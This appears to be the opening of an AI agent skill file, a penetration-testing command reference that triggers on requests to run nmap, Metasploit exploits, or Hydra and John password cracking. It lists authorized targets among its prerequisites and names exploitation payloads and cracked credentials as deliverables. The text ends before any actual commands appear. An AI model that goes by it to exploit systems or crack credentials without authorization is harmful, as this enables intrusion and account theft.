--- name: Pentest Commands description: This skill should be used when the user asks to "run pentest commands", "scan with nmap", "use metasploit exploits", "crack passwords with hydra or john", "scan web vulnerabilities with nikto", "enumerate networks", or needs essential penetration testing command references. metadata: author: zebbern version: "1.1" --- # Pentest Commands ## Purpose Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments. ## Inputs/Prerequisites - Kali Linux or penetration testing distribution - Target IP addresses with authorization - Wordlists for brute forcing - Network access to target systems - Basic understanding of tool syntax ## Outputs/Deliverables - Network enumeration results - Identified vulnerabilities - Exploitation payloads - Cracked credentials - Web vulnerability findings ## Core Workflow ### 1.
